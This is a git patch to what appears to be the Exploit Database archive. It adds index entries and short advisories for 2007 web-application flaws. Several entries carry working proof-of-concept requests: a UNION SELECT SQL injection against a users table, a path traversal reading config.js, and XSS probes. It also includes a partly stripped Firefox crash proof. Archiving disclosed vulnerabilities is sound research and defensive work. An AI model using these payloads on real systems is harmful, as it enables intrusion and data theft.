From f14cd157526e87cd72465e6192e087b4abff22eb Mon Sep 17 00:00:00 2001 From: Offensive Security Date: Mon, 6 Jan 2014 04:12:15 +0000 Subject: [PATCH] Updated 01_06_2014 --- files.csv | 18 ++++ platforms/asp/webapps/30696.txt | 7 ++ platforms/asp/webapps/30706.txt | 7 ++ platforms/asp/webapps/30708.txt | 9 ++ platforms/jsp/webapps/30704.txt | 7 ++ platforms/jsp/webapps/30705.txt | 5 + platforms/multiple/dos/30702.html | 72 +++++++++++++ platforms/php/webapps/30691.txt | 8 ++ platforms/php/webapps/30693.txt | 9 ++ platforms/php/webapps/30694.txt | 7 ++ platforms/php/webapps/30695.txt | 10 ++ platforms/php/webapps/30697.txt | 7 ++ platforms/php/webapps/30698.txt | 35 +++++++ platforms/php/webapps/30699.txt | 9 ++ platforms/php/webapps/30700.txt | 9 ++ platforms/php/webapps/30701.txt | 10 ++ platforms/php/webapps/30703.txt | 9 ++ platforms/php/webapps/30707.txt | 9 ++ platforms/windows/remote/30692.js | 167 ++++++++++++++++++++++++++++++ 19 files changed, 414 insertions(+) create mode 100755 platforms/asp/webapps/30696.txt create mode 100755 platforms/asp/webapps/30706.txt create mode 100755 platforms/asp/webapps/30708.txt create mode 100755 platforms/jsp/webapps/30704.txt create mode 100755 platforms/jsp/webapps/30705.txt create mode 100755 platforms/multiple/dos/30702.html create mode 100755 platforms/php/webapps/30691.txt create mode 100755 platforms/php/webapps/30693.txt create mode 100755 platforms/php/webapps/30694.txt create mode 100755 platforms/php/webapps/30695.txt create mode 100755 platforms/php/webapps/30697.txt create mode 100755 platforms/php/webapps/30698.txt create mode 100755 platforms/php/webapps/30699.txt create mode 100755 platforms/php/webapps/30700.txt create mode 100755 platforms/php/webapps/30701.txt create mode 100755 platforms/php/webapps/30703.txt create mode 100755 platforms/php/webapps/30707.txt create mode 100755 platforms/windows/remote/30692.js diff --git a/files.csv b/files.csv index 37a79bb1b..f816b2123 100755 --- a/files.csv +++ b/files.csv @@ -27530,3 +27530,21 @@ id,file,description,date,author,platform,type,port 30684,platforms/php/webapps/30684.txt,"SiteBar <= 3.3.8 integrator.php lang Parameter XSS",2007-10-18,"Robert Buchholz",php,webapps,0 30685,platforms/php/webapps/30685.txt,"SiteBar <= 3.3.8 index.php target Parameter XSS",2007-10-18,"Robert Buchholz",php,webapps,0 30686,platforms/php/webapps/30686.txt,"SiteBar <= 3.3.8 command.php Modify User Action uid Parameter XSS",2007-10-18,"Robert Buchholz",php,webapps,0 +30691,platforms/php/webapps/30691.txt,"Alacate-Lucent OmniVista 4760 Multiple Cross Site Scripting Vulnerabilities",2007-10-18,"Miguel Angel",php,webapps,0 +30692,platforms/windows/remote/30692.js,"RealPlayer 10.0/10.5/11 ierpplug.dll ActiveX Control Import Playlist Name Stack Buffer Overflow Vulnerability",2007-10-18,anonymous,windows,remote,0 +30693,platforms/php/webapps/30693.txt,"SocketKB 1.1.5 Multiple Cross-Site Scripting Vulnerabilities",2007-10-19,"Ivan Sanchez",php,webapps,0 +30694,platforms/php/webapps/30694.txt,"SocketMail 2.2.1 Lostpwd.PHP Cross-Site Scripting Vulnerability",2007-10-19,"Ivan Sanchez",php,webapps,0 +30695,platforms/php/webapps/30695.txt,"rNote 0.9.7 rnote.PHP Multiple Cross Site Scripting Vulnerabilities",2007-10-19,RoMaNcYxHaCkEr,php,webapps,0 +30696,platforms/asp/webapps/30696.txt,"SearchSimon Lite 1.0 Filename.ASP Cross-Site Scripting Vulnerability",2007-10-20,"Aria-Security Team",asp,webapps,0 +30697,platforms/php/webapps/30697.txt,"ReloadCMS 1.2.5 Index.PHP Local File Include Vulnerability",2007-10-20,sekuru,php,webapps,0 +30698,platforms/php/webapps/30698.txt,"Flatnuke3 File Manager Module Unauthorized Access Vulnerability",2007-10-22,KiNgOfThEwOrLd,php,webapps,0 +30699,platforms/php/webapps/30699.txt,"Hackish 1.1 Blocco.PHP Cross-Site Scripting Vulnerability",2007-10-22,Matrix86,php,webapps,0 +30700,platforms/php/webapps/30700.txt,"DMCMS 0.7 Index.PHP SQL Injection Vulnerability",2007-10-22,"Aria-Security Team",php,webapps,0 +30701,platforms/php/webapps/30701.txt,"Jeebles Technology Jeebles Directory 2.9.60 Download.PHP Local File Include Vulnerability",2007-10-22,hack2prison,php,webapps,0 +30702,platforms/multiple/dos/30702.html,"Mozilla Firefox 2.0.0.7 Malformed XBL Constructor Remote Denial of Service Vulnerability",2007-10-22,"Soroush Dalili",multiple,dos,0 +30703,platforms/php/webapps/30703.txt,"Japanese PHP Gallery Hosting Arbitrary File Upload Vulnerability",2007-10-23,"Pete Houston",php,webapps,0 +30704,platforms/jsp/webapps/30704.txt,"Korean GHBoard FlashUpload Component download.jsp name Parameter Arbitrary File Access",2007-10-23,Xcross87,jsp,webapps,0 +30705,platforms/jsp/webapps/30705.txt,"Korean GHBoard component/upload.jsp Unspecified Arbitrary File Upload",2007-10-23,Xcross87,jsp,webapps,0 +30706,platforms/asp/webapps/30706.txt,"CodeWidgets Web Based Alpha Tabbed Address Book Index.ASP SQL Injection Vulnerability",2007-10-24,"Aria-Security Team",asp,webapps,0 +30707,platforms/php/webapps/30707.txt,"Phpbasic basicFramework 1.0 Includes.PHP Remote File Include Vulnerability",2007-10-24,Alucar,php,webapps,0 +30708,platforms/asp/webapps/30708.txt,"Aleris Web Publishing Server 3.0 Page.ASP SQL Injection Vulnerability",2007-10-25,joseph.giron13,asp,webapps,0 diff --git a/platforms/asp/webapps/30696.txt b/platforms/asp/webapps/30696.txt new file mode 100755 index 000000000..4dc48c2d7 --- /dev/null +++ b/platforms/asp/webapps/30696.txt @@ -0,0 +1,7 @@ +source: http://www.securityfocus.com/bid/26142/info + +SearchSimon Lite is prone to a cross-site scripting vulnerability because the application fails to sufficiently sanitize user-supplied input. + +An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. + +http://www.example/filename.asp?QUERY=[XSS]&Submit=Search%21&ACTION=SEARCH \ No newline at end of file diff --git a/platforms/asp/webapps/30706.txt b/platforms/asp/webapps/30706.txt new file mode 100755 index 000000000..78fb3705e --- /dev/null +++ b/platforms/asp/webapps/30706.txt @@ -0,0 +1,7 @@ +source: http://www.securityfocus.com/bid/26193/info + +CodeWidgets Web Based Alpha Tabbed Address Book is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. + +Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. + +http://www.example.com/index.asp?alpha=[SQL INJECTION] \ No newline at end of file diff --git a/platforms/asp/webapps/30708.txt b/platforms/asp/webapps/30708.txt new file mode 100755 index 000000000..ebf602173 --- /dev/null +++ b/platforms/asp/webapps/30708.txt @@ -0,0 +1,9 @@ +source: http://www.securityfocus.com/bid/26207/info + +Aleris Web Publishing Server is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. + +Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. + +Aleris Web Publishing Server 3.0 is vulnerable; other versions may also be affected. + +www.example.com/calendar/page.asp?mode=1%20union%20all%20select%201,2,3,4,5,6%20FROM%20users-- \ No newline at end of file diff --git a/platforms/jsp/webapps/30704.txt b/platforms/jsp/webapps/30704.txt new file mode 100755 index 000000000..7c81a8bad --- /dev/null +++ b/platforms/jsp/webapps/30704.txt @@ -0,0 +1,7 @@ +source: http://www.securityfocus.com/bid/26182/info + +GHBoard is prone to multiple vulnerabilities that let attackers upload and download arbitrary files and execute arbitrary code within the context of the webserver process. + +http://www.example.com/ghboard/component/flashupload/download.jsp?name=[file_name] + +http://www.example.com/ghboard/component/flashupload/download.jsp?name=../config.js diff --git a/platforms/jsp/webapps/30705.txt b/platforms/jsp/webapps/30705.txt new file mode 100755 index 000000000..122468821 --- /dev/null +++ b/platforms/jsp/webapps/30705.txt @@ -0,0 +1,5 @@ +source: http://www.securityfocus.com/bid/26182/info + +GHBoard is prone to multiple vulnerabilities that let attackers upload and download arbitrary files and execute arbitrary code within the context of the webserver process. + +http://www.example.com/ghboard/component/flashupload/data/upload_filename.xxx \ No newline at end of file diff --git a/platforms/multiple/dos/30702.html b/platforms/multiple/dos/30702.html new file mode 100755 index 000000000..07f904d24 --- /dev/null +++ b/platforms/multiple/dos/30702.html @@ -0,0 +1,72 @@ +source: http://www.securityfocus.com/bid/26172/info + +Mozilla Firefox is prone to a remote denial-of-service vulnerability because it fails to adequately sanitize user-supplied input. + +Attackers can exploit this issue to cause denial-of-service conditions. + +Firefox 2.0.0.7 is vulnerable; other versions may also be affected. + +i######################### WwW.BugReport.ir ######################### +# +# AmnPardaz Security Research & Penetration Testing Group +# +# Bug Title: Mozilla Firefox 2.0.0.7 Denial of Service +# Vendor URL: www.mozilla.org +# Version: <= 2.0.0.7 +# Fix Available: Yes! +# Soloution: Update to 2.0.0.8 +# Note: This bug works on 2.0.0.8 in different way. Although this bug doesn't crash 2.0.0.8, it causes not showing html code by viewing source in Mozilla Firefox 2.0.0.8 and this is another bug on 2.0.0.8! +# Proof: http://www.astalavista.ir/proofs/MozillaFireFox/DoS1.htm +# +######################### WwW.AmnPardaz.com ######################## +# +# Leaders : Shahin Ramezany & Sorush Dalili +# Team Members: Amir Hossein Khonakdar, Hamid Farhadi +# Security Site: WwW.BugReport.ir - WwW.AmnPardaz.Com +# Country: Iran +# Greetz To : Astalavista.ir (Secuiran.com) Security Research Group, GrayHatz.net +# Contacts: & +# +######################## Bug Description ########################### +# +# To do this work we need 2 files (Html,XML). +# Their codes was written below. +# +# Save below codes in a HTML file. +# +-------------------------------------------------------------------- +-------------------------------------------------------------------- + + + + + + Suddenly see you baby! If you see this bug execution was failed! + + + +-------------------------------------------------------------------- +-------------------------------------------------------------------- +# +# Save below codes in "moz.xml" file. +# +-------------------------------------------------------------------- +-------------------------------------------------------------------- + + + + + + + + +-------------------------------------------------------------------- +-------------------------------------------------------------------- +# +# Now by runnig the HTML file by Mozilla FireFox <= 2.0.0.7 it will be crashed and by Mozilla FireFox 2.0.0.8 no code will be showed by viewing the source. +# +################################################################### \ No newline at end of file diff --git a/platforms/php/webapps/30691.txt b/platforms/php/webapps/30691.txt new file mode 100755 index 000000000..dc5f945be --- /dev/null +++ b/platforms/php/webapps/30691.txt @@ -0,0 +1,8 @@ +source: http://www.securityfocus.com/bid/26128/info + +OmniVista 4760 is prone to multiple cross-site scripting vulnerabilities because the application fails to sufficiently sanitize user-supplied input. + +Exploiting these vulnerabilities may allow an attacker to perform cross-site scripting attacks on unsuspecting users in the context of the affected website. As a result, the attacker may be able to steal cookie-based authentication credentials and to launch other attacks. + +http://www.somesite.com/?Langue="><" +http://www.somesite.com/php-bin/Webclient.php?action= \ No newline at end of file diff --git a/platforms/php/webapps/30693.txt b/platforms/php/webapps/30693.txt new file mode 100755 index 000000000..1daba8a4f --- /dev/null +++ b/platforms/php/webapps/30693.txt @@ -0,0 +1,9 @@ +source: http://www.securityfocus.com/bid/26136/info + +SocketKB is prone to multiple cross-site scripting vulnerabilities. + +An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. + +These issues affect SocketKB 1.1.5; other versions may also be affected. + +http://www.example.com/[PATH]/?__f=article&art_id=###[XSS]&node=###[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/30694.txt b/platforms/php/webapps/30694.txt new file mode 100755 index 000000000..5b913bfe0 --- /dev/null +++ b/platforms/php/webapps/30694.txt @@ -0,0 +1,7 @@ +source: http://www.securityfocus.com/bid/26138/info + +SocketMail is prone to a cross-site scripting vulnerability because the application fails to sufficiently sanitize user-supplied input. + +An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. + +http://www.example.com/path/lostpwd.php?lost_id=[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/30695.txt b/platforms/php/webapps/30695.txt new file mode 100755 index 000000000..86511b1c1 --- /dev/null +++ b/platforms/php/webapps/30695.txt @@ -0,0 +1,10 @@ +source: http://www.securityfocus.com/bid/26140/info + +rNote is prone to multiple cross-site scripting vulnerabilities because the application fails to sufficiently sanitize user-supplied input. + +Exploiting these vulnerabilities may allow an attacker to perform cross-site scripting attacks on unsuspecting users in the context of the affected website. As a result, the attacker may be able to steal cookie-based authentication credentials and to launch other attacks. + +rNote 0.9.7.5 is vulnerable; other versions may also be affected. + +http://www.example.com/rnote/rnote.php?d=alert("RxH")